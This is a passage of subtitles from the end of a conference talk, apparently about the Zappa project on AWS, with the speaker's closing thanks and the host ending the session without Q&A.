00:31:56,740 --> 00:31:57,740 *laughing* 332 00:31:57,740 --> 00:32:01,379 Do you want to contribute code, you should check out my github. You should also check 333 00:32:01,379 --> 00:32:04,609 out the slack channel. Shout out to everybody in the zappa slack, is a ton of 334 00:32:04,609 --> 00:32:09,900 super smart AWS people doing interesting things in there, thank you! 335 00:32:09,900 --> 00:32:12,070 *applause* 336 00:32:12,070 --> 00:32:16,039 Herald: Allright, perfect. 337 00:32:16,039 --> 00:32:19,179 *applause* 338 00:32:19,179 --> 00:32:24,890 Herald: Thanks a lot Rich. Unfortunately we don't have any time left for Q&A, but, are you 339 00:32:24,890 --> 00:32:28,760 gonna be around for questions, perfect. So if you are in the room, you can just 340 00:32:28,760 --> 00:32:35,839 come, ask Rich questions, if you are remote, you've seen the contact possibilities. 341 00:32:37,529 --> 00:33:01,936 *closing music*